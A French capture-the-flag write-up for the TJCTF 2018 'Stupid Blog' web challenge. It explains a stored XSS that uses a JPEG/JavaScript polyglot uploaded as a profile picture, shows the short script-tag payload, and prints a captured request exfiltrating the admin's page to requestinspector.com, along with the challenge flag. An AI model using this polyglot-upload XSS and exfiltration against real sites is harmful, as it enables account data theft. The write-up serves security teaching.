WriteUp TJCTF 2018 – Stupid Blog
Ce challenge était disponible pour le TJCTF 2018.
Catégorie: Web
Points: 130 pts
Énoncé: I created this blog site, but it doesn’t do much. I did hide a flag on here though. Maybe you can convince the admin
user to give it to you?
Cet énoncé nous donne deux indices: il faut convaincre l’utilisateur admin de nous donner le flag. Hummm… le challenge doit surement porter sur une faille de type XSS.
Voici mon analyse du site:
On arrive directement sur une page de login:
Première étape: créer un compte. J’ai opté pour un pseudo court ( ici “pp” ), vous comprendrez pourquoi par la suite.
Une fois connecté, on arrive sur une belle page de profil où on peut:
- Report un utilisateur:
- Upload une image de profil:
- Et mettre un Post sur son profil:
Un fait intéressant et qui m’a fait comprendre que le challenge valait ses 130 points, c’est qu’on est limité à 64 caractères pour le Post…
Tentons quelque chose dès le début: on définit Post à <script>alert(1);</script> et surprise !
En effet, si on regarde le code source, on remarque que ce qui est entré dans le champ post est directement concaténé au reste de la page:
Au départ j’ai perdu du temps à chercher comment bypass la limitation des 64 caractères… mais inutile !
J’ai rapidement réalisé que si il y avait un champ pour upload des images, c’était pas pour rien !
On va utiliser l’image comme un script javascript ! Il suffira juste d’utiliser l’image en source de la balise script !
En tentant d’upload un fichier javascript directement ou autre on remarque que l’image ne se change même pas ! Une déduction rapide: il faut donc que ce soit une image “valide”, c’est à dire que les premiers octets du fichier doivent correspondre au magic number d’un JFIF (considéré comme un JPG par le site).
Voici donc le contenu de l’image que j’upload:
Mais TraaaxX, c’est quoi cette variable avec un nom dégueulasse ?
Et bien c’est simple, grâce aux premiers octets, l’image est valide ( en effet, « ÿØÿà » se décompose en « FF D8 FF E0 » qui est le magic number d’un JPG!)
Pour ne pas engendrer d’erreurs javascript, il est nécessaire de rajouter « =0 ; » pour que « ÿØÿà » soit considéré comme une simple variable en javascript (avec un nom bizarre, mais valide !).
Et une fois upload, on se rend a l’adresse https://stupid_blog.tjctf.org/pp/pfp et on voit que notre payload est en ligne ! Bingo !
Ensuite rien de plus simple ! non ?
On met directement <script src=”/pp/pfp”></script> dans post, on report l’utilisateur “pp” à l’admin et c’est gagné !
Et bien non ! Après de longues minutes à chercher je me rend compte (merci chrome) que l’encoding du script javascript n’est pas bon:
Bon… 20 minutes passent et je n’arrive pas à faire en sorte qu’il soit encodé correctement, même en ajoutant charset=”UTF-8″ dans l’appel du script…
Retour aux bases ! On cherche sur notre moteur favori “quels sont les charsets disponibles chez javascript stp ?”.
Finalement, w3school nous donne la réponse: il y a bien le charset “UTF-8”, mais l’encoding standard latin c’est “ISO-8859-1” !
Aïe Aïe Aïe…
Bon, voici mon payload final:
<script src=”/pp/pfp” charset=”ISO-8859-1″></script>
52 caractères, c’est short ! D’où le pseudo relativement court !
On se retrouve sur notre requestinspector, et on récupère la page privée de l’utilisateur.
GET /inspect/01cmqx3c7pa07ekn0ejacjxgn9/%3C!DOCTYPE%20html%3E%3Chtml
%20lang=%22en%22%3E%3Chead%3E%20%20%20%20%3Ctitle%3Eadmin%3C/title%3E%3Cmeta […]%22/vendor/bootstrap/js/bootstrap.min.js%22%3E%3C/script%3E%3Cscript%20src=%22/vendor
/select2/select2.min.js%22%3E%3C/script%3E%3Cscript%20src=%22/vendor/tilt/tilt.jquery.min.js
%22%3E%3C/script%3E%3Cscript%20src=%22/js/main.js%22%3E%3C/script%3E%20%20%20
%20tjctf%7B1m4g3_p0lygl0t_1s_w3ird%7D%3C/body%3E%3C/html%3E HTTP/1.1
requestinspector.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Referer: http://localhost:1337/pp
Vous le voyez ? moi oui !
Aller, je vous aide, voila le résultat d’un decoder d’URL (celuilà) :
Et voilà ! 😀 +130 points.
Flag = tjctf{1m4g3_p0lygl0t_1s_w3ird}.
La Bise.
Commentaires
Thanks, it is quite informative